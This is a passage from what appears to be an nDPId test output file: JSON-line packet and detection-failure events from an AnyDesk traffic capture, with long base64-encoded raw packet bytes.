e5z++694hA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1261,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07825{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1262,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":954616,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfZpAAIAGAADAqAG7wKgBstOUG56PJOYrWcQvL1AYIBOExAAAFwMDFXdZ4hNO+msV4dgFqZhtm3WdMCS0pC0zV2EQDNmRdkYWhCMjld+fgLr75vLHeP1Uth4eGI89OWLltXbPgPn6RkroILMl633SXGI3OnsF3rlnweYjI4mFuZ5ASmHy\/wGu9HFMZr00zcn5khsczn2h+T9UvwavfBq9pRsaA1464II5vt5ptnFFSofG2V+kK4u2J9Tqd1M\/dZFyMa4DzMfyJXrPc9NmCNCW1a7fL0TVEEvM76gBIK9Sc5icFs1rclIarLYRYkG7CVxbOtD2F7\/+rplIEhCl+EvlwUES03ADglG+qLPBCOpJeqCETieAZf7uM5OoOKkgZW4b5tMHGDG3rfBakQTY5hL6vKB41VkL+oXjUVRGSQP\/CxQ1cJtr1DIHPy4uZn2B+9OFLN2EuG5GF6Xhr5NiMlv+QepD7kyCbukJ9Cqh9p+vHH4MZEtCfofwKoNmATl1zbhKUAjZpyJLTMLDe5zHoL+VpWYQHOsVTOLdxajBnHO68ZOYOItoSJP2yXLNF8oDt2bYw6UypNeerHcnipIB+PXLRV5Jdgr3wliaI+NT8eY5H8CdFO60m76NnEDu3X24PJN+gY7yXjH9fViUKykkSGONDCeDyKUrohaZR4tHOkUXh62KJCQaQfgIPyVa4Y03VZHQLAD9K3ETpexOxyLBUuznPJwhvrdzKE5VbhGQUQIrXHp8jS0MXQXTphlmtaRvqqj6A32FSN0eHdnnVjf11BoDppZDwv4HnYO6uWR6FDai96Fiv\/4q1O3o5\/nt2IE1w6oHbfzuf1c69bpC77SKER0xYWO8uuq8Ojoi7qt2fMb1LWbO\/9w\/VHTu66j+2P\/7ggW38\/oc2nUJgH+BFeppfgFLxc+ZUWeGWi\/Df\/KhmRkH7KdYr4mfLOamXIzmU1j1oT5wMBrlogguuCqks0xlyM7Va\/cKOBx3Cb\/\/Ks7b0zZtzthAnrm7kqd2nfbHiBGIFfsTUwbL+Lou\/PXZCJEg2siHrNrWMU0qebCCko423k7aTz5svxCOF\/kbzB4pKEkuZ9jzHn3TlghFn2VyojHL1ILOYVttsccsTDtDPCiTjSMOZCrIEXFfmuwuQn6w+4TnZsHE3IAMFA84D1a4z3Go6stFwrKrftHniWUo3iqu9e10HmGl8tWlY\/w\/znNOVaXo8hOfc6ttpdN0R05jo5ZVIEcpSs\/fOTuDoZ8LYXo6nmlEvd9bxd65YoyZAVKqN7En3cAEzgIpYO9PcRnzwZeZNmw8TukfQrjMSMDnuN2ymRrQ1U+yjXFUVTiEg6zpCAf7haBkyJq5twhZZxSCOa3op6S+R5mK3k9IhVXufBkxeY\/J0\/w9ueZSAqCfMVjPPWbHFB5oVfhiS2AZIgZIGIg+1ljzzvcGe3d44Xcv8VO13SrTLFoO+GigutbnMhKgD5LMFmbg04QNhjEVEfOQHduYOHhu9ItANI6LahaJkuk9KB9KCBO+OM04vHgfg2CgVNGK7f549Ey4RYlIQO6OwtPBpVr1P1e9XPW1hjEwgkB541a3PenwEtowLG4mUJGjVIekyfzxI8QjdiPQ+WfCiRna3IwgQDJoZBaTEE\/ivq6Kt8pBgJQT\/1xe61ibetc7M+RJpZ75MsqerDDcngAFoDPMAXwR5hALm6WdcXJAsnPoE13ESIX9hPsfi7JCgzP\/6211zQZNyxMuZ86MrWwjRDLLXdlFpe\/1Rp7oCJm9qi41+o90J5eE5Ecd1Dgx\/+\/ya0eKI+qXRTUAhG7SdFNr6PKokWGNYU5iIKJafliDlo6xQZosjiCejEX5UJGuQ5p+xyHOAVBMXOP1TI22gzuBwO1UztpidVK5UJmvtUNQscupzVV4X4f5zUYZgyU43GscqU0+bg\/S1CNMeCVAgRqHjoZDzCnOyzoXFA4OmEFB0wdfkxp4ZMZtFQ\/h3NJSiXmPV0+\/7tfYxwTZyQk2E2lJExyPdsbpgkBj5f0IdBt22BRcCoy5WT1vMQ3PfXwuk+7NbTeT+U4TShRq7MbnX2f82wdDrojHPtVEUSkGs0CVGD9u1kZ7XnXg\/xDUDiegbQpMn7NeSzPVH5kCqd8tj0iSEn2\/9HyZvWGmQiPDVHH6uaPhG2xp1pFK7gtdlhB+HKaFZJRari5\/okyNBU\/K7n3avpWctqbPgSCD2gkLLlKHQp4qQCPWehSkiJmeXbObYCPncSBrqgjzesCvIJ\/TkLbWRHrqINQf07GANdp3lbYVU6dS48dHKoGZp+jYoLu0IrRw7a043jf7\/rYEAp5o4MNubPB6rmWSSi62wsE57SHs8IHQ37rk8FvB+7zb8zH67wbuSEszjO8zcx9rfrFxMQcPbRwudraST2rVyjRYilaNc5d3BBRLNmM47NRjYJY2dybrmndn2Mzq6b6njuO0phECwpE3xmv9dfLkaf3PqyZLfawvFS728IhyLzxJJnaQIZc66gYkUoMwEvNedofF5Jc3b+SmVS5qWzYqS\/PvJ3IesUJwPsbiEMCKWO7+1WJ87y4C\/eM+FkERdBC8o8882eL5pRhwPJJUP\/soMDFGH0mfJpVYY4pLsZLu4fVVsZ+hQQYn9b5j95o16MVVaIaZroe3+298JiVGCr9JpzvPwWFn9ivz5C7T233wmszimnpK8OsY\/YbxqKEAELVbuP3FaK4tGSGqmLwIri3xZlRrngqtwOsvI21mNlyJm3poqQH6R5BpM94gsjihTHxTX5adE7NksfjgdGElrRXoK6GFq151KOPplXk0S7yD9E7qhHjPW5KzGsEgpLnyrT\/QiQzEOyv82jiSBo49G9AO51dlW50VLIVmjHV\/L218gpi6DwYmxDCyEL9V\/wz1lCwp76ggOvGTEDOZOBTdgLDKi92SPdgg685TJLnrAUh+NX16thlel2uCp9KWFA9qgFzK8wFMBF6VmhZqyUC0BbiP0TilC4oFgrenCb73zBC5fQDxR8MDS3hLIA\/4JcRAOt00QvQ+bTo5j1O0j+6Y6AZBk+Rni7whg9oer930A5\/YFUZt0MiSdLgENoVCLBU7O6nHMeIakjF8XYF2dIhTKjbw9NjGk66jifqcpsTbyUPrbTEF6LJuxidtIZktjZto6Jo29OQFjKezWw7Ndc9Y2S1qypFskuGCQT\/C868TWwJzqUeMNaVqznO1+tB9IiXN1\/lSHLiVVTn4OVWo3j\/n4FEXGsCxh2V05li3S9YKK0hqJZqoKFUGjReX7lW4cjey8VBLAWzwp76tZd7M89KeBfOUaGXxOn6Sq8AXLfHAgwI6ARBvYXpr6cLCNMR0oNITyuzrU5AS9wFQEQdd422SwXygyo8FloJUAmYir5\/JHSfz+aGd\/SCgwZ8aSSwi+1G3LnRegqXAZVIhO+YGIm6u9oapUbsdyf79zSutVg3awYxB4o9xoELK+TgiEkmwOCyI6QGSUgCrp0wyIfZgCPdAVMmZTNltfK\/+cppGsYM+QkTXMB114TOUTIg1NNTP18Yzv7s7iAhhY9zqL36yvcLy7J46+zusXIfIeZOSMoNMPUyjUO394zH59zKhL9Qm409MoM2DxUckpcSRm+N+f70a5VWTMLNf\/8asOrvRCq9t5ilRjR01gqwEHgNR7KCbBXrNMfdLnFFFMbKSSxjpTiZqhu0VB1SHf2uFqDw7Z09fP6MqOwhGobNL+9RvJ1q\/8\/O6CwU81MNo2mD41v\/L+yTGH+jcEz7S13R8BuKULHeX2qYz9NgX\/xRCw8+g05tnka0sAweBALVWdPCm0\/CXWSiv5SejcR+6raM3f3nsd\/dbYBf4Ygj\/Dh\/VkZ6eutYxNYlz9P6+fORaQf5A\/MjgfhlOwasEGz4mRejhRWmfP28svcrBpHPcpJsTYJC878bz8D4+eSHjokh+cgAvqFN5Mot3tzoEbOb02YJP9fZD+njBMa9ra5CdO9l+5pqv\/wm\/6DoLIczY1wyILYVWWzHWp5jDzHaJoujQjT6OYm4aPYJkmyBoM3uTiPF+VHiU6Yc\/VyvXyH3s0xaQU\/D+JwVaQHSA3zyOUwLj2D4jpXytId82Qx5nnfjX8iH0kElgQNc8nYZv1+aN3xKT4yvgxe5G0Bs8vaRkwbSxe2\/j9XRQoB+mAIoU\/JVNijfY+kXcsDW3CQHyFL1Hipk3kBfEcMwNAHrJ95tNEH5yR2EX754fP2+g82FkaBsSuSMiUZ1qFs+4U2eY2Je8UXbw52uoInuRam4MB56+NCgkIqn6GCshCMD0Vk5bk6pmwE+eApBVweKzVBs8K9pdyCNZYQ6jHuON3xE4qS+8Y8UxqFAUNpUdU0Gg6cbja4Sz1Qvo6w3TccyCLMSGyns5EWYkPpC3ACnCD\/ydyQXRo5QJr1eoebwwdyjdPK00WB3t0TovBrG+6UtI4MkVgXXnn0468NRc7+t8rtIV7ZzGCzRr7RGpxDyxshYvIdSCWg7a5Ao123e\/7xUfIiyX5JmTiQ2ozqutyz+B79po5J3JSRIFrQDMPVKuoUCc28VBKfrSXzcZIVtw1PFtc4T8namXGntxhNZEVhxSC5TO09JR5yhTn4ctxx05hBZGTI1LBhDmlaxybv35Rb7Ah4aTloMu81hFBwLXh5oUD2M\/WpaFYtmnIKzwEoKQBcD9vE\/nZE8LBTlZZ6hTSyitg01wh4VmsMgnz32\/BP\/BbuDkrWvGQYT7FWRTPPmBhugQvlqLPQRL1UTdhP0JdP5Cd9y\/SrZQ8blUBCZwtJpHWTkRxduiwQkCUXJtA+mokU7VFKtJgHpgL6D3HOGbdAM7L4e52ULUqj4swniDYMlGNA6JxRUQHeWiIs\/9sFT6r+pV6vVNJfVYeo4iIhks8QxrPWksNj10UPEFWPcH8ZjWN8vF95TfSUlhshyDyhgaWLs2f7PfVZpjLguzY5Rx1w3UjPTlNY3R9NbxJmwlTKgR48jziNIJK7GgTWy0oIK0HDy\/hgiXKkJQPclmsAZKQI+4OF2jIMNLavEfSzlL9SHiVt38\/EgLwyYpw0CKteYgICBCRPb2FPIvCD6JnP\/NT+j65+Knh4wmyIeG4lz5e5+19mQH5d3\/QoTZQlzhWXxLToUH49RX1rHrZl23XWUlV7eS71QzaBMj9KWasFoCJsWpj2+UK4IVtO\/Jt96wBUCImva+eALC9Yta3d5T\/xWEJOZcGDk9cshhFscuIlsr0i+tjrl3wFPDOAPWqvbyHa1Je3zy8F5HOV2aDApH2KAh30dECO7CvFT5MoMCjVEK3Efn\/nItNprcUkCrbtYxvUM\/mq0rTkv5lWSlsegTvUGuZ\/dkIQoW7Gor5QGFNSVWQ1OpsAvzRBXZwhN0LiukMYxlokhy4fQslTDDHAeNt+RyMLhKCSOqjZO3e4EGhcZddKp1XdSY8bSgSMMWPGTmP1Cjjj28Z3iGlFBcFgxbMwnue\/Hf+uY31OAQt8gUje3JT6P8lGZoJ2qMW10RdM3HHMmbqsIQUPwETHO5N6Zs7xbCBhn64cgXpmW+NUTXtT6ugV0\/YyETZgDVcgvZofM0CFuepo+1YNUEh\/hUKRRuxUYamClRhzkxfZLkck0C2fyv+\/z+RHnQtoc7exy9zxcHwvtXeMlnsER2xTefYOmRDheLF1ox+CCbBilsxF1R5PGs\/zTm55dhrAh4Qh\/kr7o0yRsRjk33AqyCNmKC9nROPHhn14zA9mK1RQa2TqZ6mptxuczhoaVOYwXz7MuVngROuYuaxXeY9csEZ2opKJ\/ciURyG6ono6jxLj5NEDgcYQzIqbeMJJYUQr3TzVasddL1IWzNyaSdltzrHcqCOPFSweaXoY80RK9sW8tZ\/\/qxqyD\/pQa9vTVgNlhYhUuQycAFgZobgUcxqZrPW+ghBlc4frWpZiLuYbnRK2p4WBlR9V3T8J2kxswQSybN6A8xdy5wfNoevrux\/A5+\/bcRLRQxt1tUG\/+onZ+07x7g8iuoSEQAB5EEM9B1hmkWYNKxBf375hhhtBV2iT7yOxdRq8Gr2+xdOVbWq0VmwTSX1eRb2hYQu9d8XrnoXZwhCjaVA5ts2RD5WjucW7K6LW01RYwx8nWTbb4jLbeF6eAFrtcB58wYeDKVHH8TXG4rjBj1EFrxu6KZCxqzgSmn5s\/gXFqCgGMIy7j+E8g\/2tQOGiFGEtbIaLdcOcfsQvVzS8uLhnzBw4hsK0ewKLukNWz0GS5\/s2t63A3qk6gYfjwnAMnqCDY80JwHSzQwyOMs7yw7O9RMb2PF+PC0K7m0AYFNSs6Bg9qIjzyjOO8LkLiFB78u4xyz0v4+NX82P7VAEzhgHzUhoy01KfrqcLPbdV+LapGoTxISbKlx+AijrJ9U27rD9lHE4FgD98zJDuF5T+XtSPiws0vDPgJ65EDZF1kvrVKib7jJ76KFrlrwrutJ4xRgzISJKr47JpcBzFcvGNIywqbN1WRypvTPdTDBs5JauwMsdxpKU4A1aD7oS4QQCTdFUpX6sFfueeXqKNlvIRJcHjueuCHjlujRPCjvpXIP67yUASVauAo\/oiNIzD5XV5BbUstcF2skqiRvdWHS99Nqo0m6MNTpVL5id6Xk1av1RYOoyRDb6RuQqzvHhg+kRQyds4zOl2uJrnTbkDHVwHxEzjC6Tt81wYZ1SDtGnyMukkslLrwLUBPgjXCIMQHf1tmtg8m1QTRAIoJp4MLP9chAzN4rzlECJerXA3S6BgXNQOwGb0NmdmfKUcERL1M\/lKMy8W2runjIvYH0fpWq4TQnFfIW2tGAuXFwmMMvWnbshjYlTKQpRtgxBydFTp0HJzhpiEpsVdVr1nE41tNg4O+8M+5VOGJTiuLTqDwf9uhege1CSkO0iiwdiuCv0dsq8qILwzbbPtjqmRIPpCVqZuFvQA+VUA85zO4luWTyQwHOEnyKAgEzrEE7AnTMygR6rU3QNtVjZMHuRlAP5uj\/0q1tI73aPVbPBr+m1C7UdaMrDQhnsZGa2lq1VVJFGd\/ylcFRzrIxZK\/0Dj5vcmUsiIOeYzMqPzBuXnVf6sDxwkmVujaQhz8ixfyp9gNHYVg6OgYD0chwO\/6f\/qWWxSXPp+33DFG6y\/csDWm6q0Ii3DDpB8NGyoVKSFGlfc9OZywNK88e4zrO\/mue8tosKm8s9kUVjZSDiefVnoMQ6H1Q1BycGAtWubr0O8dx4EHUGMfA\/UkKeM6I2Rzwavh4af6D96SzXGER0UmVanUBclzFhQ2wcOFK+AqMg7U1yvOox58Td4w96lcTNDs01OK5SZ8xl9nrQiT5oxuP0OGkEVGEA9uSqD3H3pkEWTctoRajyVWVHtrapmpBv6rvVTopql0XdeK0IgAfMYi4at3\/xA8pVL8ZvavWKL0qjvjgez5MNRo64GCRezsvXg10HSRdsA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1262,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +04023{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1264,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":955633,"pkt_caplen":2745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2745,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfZ5AAIAGAADAqAG7wKgBstOUG56PJPunWcQvL1AYIBOExAAAFwMDCn5Z4hNO+msV4o6QdfC51DF41+ljpo5TiX8sjqN5erm+YTmGEU6CTkErM+\/+zcFZenNGcEAg1B2ldkCSAHHmSjp6XKxjjKPZt1TVTaxclnunJXyYVBI\/NZXNzSUj7LxIgEezwHgC5f2dtAewI+0lDfi3bpeNPnRaOmtk7jpwpq+JXw0ju+ysAdDGlHWrMTvsWC\/1ve+EL4seSkVQZfqZa4NEXfhZsOb9WhPt38QEx75mxDcEBhSftbjuuDIhXmFP3gezFZ30ShBKv+SFiIsPNiKO844Ml+4wf1HXQXTlmF7HB3OdGRyhLLahDiHncA3I750dD\/ziUdt1LLGVDBIHnGnbQ6kBjXbGjH5nUtz3oxVFzSDpNz4brPUjUD+Wl7Is2rTpNf76ohZQtgjdiSavlpcfRo\/DHlS1hHdVxrWaZHvwv1hYqLBPFFmdT1eT7w6gArQWH8WtFVir7jahbt+G5TGJbx+ABeZYSqN+fIx08eENu1cU+7HMK1iE1Wi5\/GDtMiGuj+4WhenlHcjoLe1IfcEHa+EUfi3LpimWU0hG3WAUf+1YOXWhnoK7JpH\/bDmLduQ9MRMUKi9Uewv7SdkTykDpLrukil6341zGufVg8eaGAgCzvdbBVuG22nQDewAt4jsej\/8PlF4uxoU+tDsCfPXWSKTiNV1uilR2eEqClivjrqiTwMb14RZVdT94z0sU5eZzy2rvEuUxh\/+TaZmrR0DkkP58gnFEnIv0S44Zb4ujH3Ru1CZE4QMkRODWOf35qVumnx7sat75mCjOSANHGGCWGf3U1AO7N2N7ugJq\/FOKoAKh\/wt2W033vxVss9LbE3BTFtbf4QFFZYJdGYAjPMF1Uxz9qeEho8yprnmA2MC8xci7CRKdQGUd5GizUX4WuDrKbJtedbC166ATFK0\/iZXaE2aJGQYj2uCrsPrjXQU\/UF8XKFb5MXYLlveB9SjIL\/cQaFv4r7qzpcJG7hb1GUPeJROq6\/c8dTvDxzon0nFSUR0zFbj5yRupll0uJ7rA4sjTYJzU5AwCQX8960XaPLVHHTq159IO6pLrflxwSpC942jBEGm3Ww0UGkmstRYqU1uUVQk8XiM7HCUQJaROaayq6umopvYJWWURIOZABJntH+2b9LFvjAZ+lj\/PVsKRJySu8GJ49\/wBrxHD+Z1WWRykEPautBDyVVPhPkXsG+\/+2qgAYKqjttjajfAeyqcYrRzyjAt6JuIldNCfYmShzkPMrvZHrh\/JDcKmXsqsSVp93OUjIUzbkdY3nqpkoWzZJNHD9LidPdFJIIqtS5HKQ3iCD7FupH\/XW4YND1ssdHWr0ETuWEZZ1y4X+Dyxs1RdeVHVwqV9ae+mrTbmbGvXND\/qtmborDJbWZ1l2nXTBHHGvm9XEo6zjRl7xAvRKy5MLZAJcdlDlmdtaRzpZpBLIo926Cq+1Ohk1IdF8T9O03YUBzXxlFAwD7smKIF7Jcm2JqXkzK7POM9NsMZvNGg1dxZ0uWjmR3qNRRyYtN+4gXUJYKBxQEwizytSAdu5Qf6rhuC9PS+9LrxbrSr1ALRYhYPBrIXFQg\/RV3WJgUoQUzVQZZXUTUjz8sFA20x9hOBwWQeWfcG1CS8Z7IR\/UWRlrfR9VJ2Jl3G3x7nS4hf42VDR48VYwa4jMef4gj5SzfUYwYpvHlP9+psZ5myIxZCMLgzP6mYM2EbNKERlTsCFB6EYj\/YCEkeJl8uqv0qaM\/vQhtdutQn7Q8ikP0h3gN9Sqj6KVVbwwtqkMdp6kLpJfF7kyZ+Ms0bRcVTCQ\/RVz7GJyA578VyjBUM2qs0If4d2UUQdfrQI7pV4o5S+Su7ds\/BF+8r3dUcIrQKeImKG+8+ktty\/NkOZcMA\/EGj0agwvbrEr4IM2TssYjqw+k4MUHFEADBERP77h+KSg0F2OJPrC7ZIaNdkgm0mAn9hoKylq0LJV+95AjDG6whgA6hiUDZ7NAGN1Knpu\/K8XzGT0oU8a+6o8vt0T9rLeeuDw3sQW6a1vMWhaO0Jos2ZwFMMlFNPAsrCLfyRwTPTlkxVs2oBCtcdXiA0kpyOfJkiVwJFJMw\/jtc2RSMeOk7\/OyhRfwsSCJxiveK3\/5MBnTDjpdcPF1vBY8fOkzOZ7RGkp4iAb50J42DwHFq36pUcEiPsanV34rlEfX0R5s2LcUFZA\/Lk05jQBgUDp2gmBwxqKvg\/1xlZ6Cst17Q2xbXBTvywaE0ZsndeJC6\/a5nMajRmLsW\/tN3gyNXudDiW9AW+8bm4utiqNJB6Jvvfg0\/okc2bGqlrdaPujursBfjawxsBB9XKgZEBF8zFvZFhX664slGFrHuwrtYL0MQp9Jpechb3iG2Kc+z5A+R\/S6I8kqEUSwWaoHJjxoA+qZDEWZ7JAvlnGroZpKrF3ASHWU2d\/QuPMGs6RZAK\/0Psnh2cY9ej3hP0zSSdQQZllM8Fu5dQDB8f0svEAev5Z3UEvjN4SjM3crwcxOcltSGo2URUfC6y6L1ePeJNlF3InSWw0u1CKM1UbqDQ8wsZGNhJ+rCQzFPGN+TN\/MDrSv8GHkVkfTBbEzXihsQUcLpgk08D5cTS51vNuHJIpfR5WCHb8Oh7GAbJJ2Y\/swm0J0mEJBuebxJtNDXLNSQVYqb5KEAqU9BaTkmgQPbcrNDTazt2DMpRsO1CbOIWwYEVgIKRrzEkTDHzuKMf81x1XwQ7H7heyfjcY05BoTM6FZ\/GEK6zqphS0AkU1Kh\/Nh92OnoI5ooCLHkHisKYfiZhZHAmcJCGOCV191lHSc2uVEDySww3dZO\/wLBHvVj3k8drHvhSmrnO3DGfiOtGhHgC6PkpsRqi2VKRYCp7j7LyUP+bqkS82RNSKYJxNH5lMeXOZMWdJ9vupjH9LqLyOL4oU5e3l2EjXXXhF8dFa5NcgQG3E27hM\/6eFnfK7SbziMkNVwHlE1mI3szD51NS1VOIW3lkmdqTFeCJCqKg8JkAnWwHsJi2ppseAzqpade0W+KBCn68RpIJMwZTXA6fWQ8wZpzVPpS+qw6bqs+02P8OU+kgPdH4DNlPHy3SGsreAg5O9GxjZuXGVJ3ERLYYG32javMGvcYz+e6Jr3zADcDfW5VCcsFxzQwwkCZMByZWEZkT0CO0bTnay5Fc1M4aKy5UZR0CzXfz0qHTYcOENGd5s5k0aTCvASB19FwFPX2W9H3uIvS\/2\/EwXZo3SunVsjhFpRC3ckpi5W3c9c\/SNrwzH8CNzD3HDg84CAUGE4qwFfK6960hfl4VAZ680aZudOYDaAbmRGpB9sM960y5Ml3qu49m0rw+KjuEsw5Mr3FAO0ZImuDIiCs5j6PHYIrN7jfzzq8tQ+UYPSRVLk9+BRnBkATvG1dGi2JoDzqsNJn3SIcxgMdPj4DfpscyewTeaHT8Vt4j\/WkW\/2i6p5SFiSbBVLcGXIi93Axm8xGRNr\/kDatQxbHN8VTSFfzo\/Wv4c044wFx1c\/x7mW6WzXNETF2Oytekr\/Dm1xYhq2C21K6DPtam9lcipDBTZfea\/UTJZHdKyJ1vC4UjYxBok9sge3L0nYr428KFATGZUxonb7ZozhHjMue\/+7tGbWyKgJ5XF"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1264,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2711} +02763{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1272,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":978359,"pkt_caplen":1816,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1816,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfaNAAIAGAADAqAG7wKgBstOUG56PJQYqWcQvjVAYIBOExAAAFwMDBt1Z4hNO+msV4wirh4Ij4o1lesfjewDwvICvPAueqf7NdLFfQNgZR01AvjelEdfGRvHoE+mg13QeFUDLknABVCB1fY+hXwQDy74Fw+gVMt4tBp7qW2GYqqqv8cNXM36m5V4RWEBxL9GwllWrVW6nJnM+XsNnStrpVwpmgDA1ebuMw2l8qj\/e4pq6efrN2UuS3C7+l9q2V9lhJ9vQfQNALVesq0dqHNfmTkvmDAdtdpnF3qxgMgdyiZ\/y3aOxv5SsgtRn229uGyn9MBLBHEyV+DelwmIbkrBJYyeFUndqGzdTBoloBQRCtbo6NmMLPKm+nJ5+sMEXEkU8bq4MufH40IdrwumA0CpJy9nWiIEzgoBWVz9UUy8i4euqHPnySiZiPRPR1x6qrHhfforOMvDWdIT6VN5w38N5t4P9YaSM+bfNWfkOqHJ7L+cpL8LqHFi6aiPQiWBYprTb7aJq+hsZBxAuapWGcc3c11tXE5j\/UxkrhHOzzHAIcoJMD1BCCfws01HvdY7aGrytyGhXR2uYbsldLACcedoLmEWfCwrSYF974W\/4IS8KRJMahIp9YWsGbMXTgni\/1+OishPRQvSW2KMSRbhEG4qtFzzQPuDKNVUkNXeJC99eI33RJx3ysm21oWZun40tNMP00yCGsL\/3K1gf77pQKdqTeDRAk5CJorD14UOcFw\/qfSaANYv\/\/3sC8DKfnwU0XnXpaXOZTIvmbuODedE92\/7rJRcDgTqDyxgxkVb6cq\/NG\/iSbd8NKtAaQBlDlQPLEMb4ofwGoHqs6iJcjUomHlRrEpjNO13aiVXydtEySe\/LPU\/\/VD1zF0atJ8LPZsufyIMC8eBkOflN+eGPngN8Npcam+nl9F3CyjBQaUjmMl4I9R85eT+p3DiurfRVyDYqHaH6pmEWhPaIIgqHuVpsClc5buhWk925HmB2w+vMTkN3fJUuNtVhXqmGXPtt4Ogbbp7CsqyuagMz7upWHcngT3WYzeKUetenMl0zPJPsfcUWxmRmQ2bAowHUOTJP3tyfX7sCZAhEkdZZMXVYIwHSGjDMM2TBFjMi\/\/eKfk3YS0Q9Lou0GAUeE2dh\/G2xxZnxC8SGjcKDDV4t\/5X4IqFedbCJ8dZafOVqLVFH4oJMnyuhJ4I0x38JA4uK2zwoKLrdfGuJEEl5pGPiFbqo4vcp9IQZieSUfZohdMZh\/Nqe29VZVadat3xSUzfC1iFZ0oPY53l9H2aB5M\/RthcSl3JoVgKAsZaq2m8CRcip1zaZsotTzQVK4+Jc7riUqU6qMjbkJ4npsXWPrwW6BVN3C0K8ZC+2ixf1ZsWa8fKPsRF\/1dd53OTH3+MvoujMM4atPOkDDIF\/rtPcU9NeQgrsrscJyvfM3qJQcDQCYfH78eI+J3iYVzB0SmWRDl7etgCMrXLdOGqQ6NSDV1tuwenVDE5iLvFUA9l2xQ4ADWF7QMq2OnWKTcrwUIh0\/V1nlN4GC\/NGvRE3B\/1R\/d6XJPojZCAznCNhptrkZ9vGpE\/24awxTOCQjr+tQq2O0Q4VSASctXDPzFQTvIwhN8cdnYwG70wUb\/Aa6AsfaIxNRdkOZBYhwGl+Yx5DvIPb71m4L4jedCp1Bwt6kLMpM5OrCt4cVgjWpWziBGT9R493Atmez8XZSc3vP7EsclXqMMgtBivQrLpwoTntIpGHHLASa2K5iLGxY6hhSQZc5NWh9xiV+eZiRiVXCU2LvF58ollGu1lCWJpb1phuc0IHKgKLijpV6dMay1EmGB3Ub7iG944k4aiIFr0gpYVprXtmZWM5wjnK8z1hzavBgaSyWDL4b1tnc3TBDFwczdhY7SuRAQo1QnwgvgHRtXi9MrOkQEPCZo9ywJlvjUjc87JrqTUmCar4hsDLYK4J0b3BCss72zOjxRdj+Isg2vSV6fOwhEj0hdjcVxDjzaSEet6NJafCHDhH4k57zt+OnFMm0bCQxoVzEfcSqlLnjYripsCsRaIKoBhc6nRMV5CHNxeDbSQHPnTCfaraVhJ9NFRVsuUe6MVxW4IP1t2B\/lt8\/jQ5zsksSMXSjSLlxekJctm407XZYiy+TVDwRLO9bZxFKrFrOJ3z5cQkaMvIHAre\/u49PSn0XNK0x+eGiCa6wjbAQQdxB3uj8T8csUbnmU1QtCLSiYABh07YvjGDITcTPtn0wSEfuws7vq2SURAcY0umPdoCse55T4xCRUXXMaN0FlLg3q5ZBK\/tY5wQWFEthLAFLN2V0mXsXNaBdduNV39wmt9esrIhRCXXSQk2buqeulbVZQMK2uqkah5YY51AcrSG1QtqlzG3lUaTx1cHwduJmrurw\/kk9WCTHNDUqZNNVes7gw=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1272,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1782} +05540{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1274,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":979400,"pkt_caplen":3867,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3867,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfaVAAIAGAADAqAG7wKgBstOUG56PJQ0MWcQvjVAYIBOExAAAFwMDDuBZ4hNO+msV5HTpVFfdjzqbI4gBDkUeTJKxHA9Fido688eTyt3YbrpXPsithgE2kPTTvhDx7Vxydv07myX0l4ounBcBRYMlcxwLBv2Q2xLbEWyvCqB9\/mNbkBckis2t\/qBVCFGsna6QMvdlFZzpvMVcvydjysOWgZN7rTsjVrf8WZSTVdUUq0lYbgI0aNdUhRU6Grv+fY3V4KlRVRLIDprO+p9Ac38lZBZ1JGoxtE76\/ij3TL1rtG4l\/JDLLNJsCV8\/f59LDcHj4WspBTG4K2k8GyCSnKnDmVCTkHKOOyVS6gF40SizHJnl70aZJ1z+jGCnSOciMH5fpAAWc40m9i7PqZeTAKQz46Lk3xAh\/rvFljkspOrMVLyTTTbYCVb50ji8Ho+LCjpQI4In7IpktP+3IXGq44RXmXZtMXDpwH30BB6V6eUWDxjgZFhinNdvdD\/lT07jZ5Y8vqlsQqtUlMBlmONtz+6dzfh4xl0TEA0F97HAFOobdf0JW77xFQAm98BbXk0ksNZWBjVT5nkDGwRKVXWlUoD4gJrG1twWFYLePH2xQy50MkyHcCWSFEBHwuxY54LWiUVo5Rj84Lz\/HoFYwPNwBzHyHQTB38sZBR8xmBinZ5l6LcTq8yFoUJQ2Wqwr4W2C5MY+mihVBYXCUbYsJgrAU16IE\/YMAmRu5\/w\/n7dW3TEm+AgYoi4LV86Fp4qWaKhwRPYunT97rx3dHs+XMq8I+q7\/zWyChZS7Z77KiAF1rLMz8wlRr2f2TBuzwXtuXXD4Am+Y5GlVTh2PtuADVBsARzSfXOUHMrAjU\/CbzxI70wp6pKAxzMK6PAAXrza4SYyP0n5tmdFtBC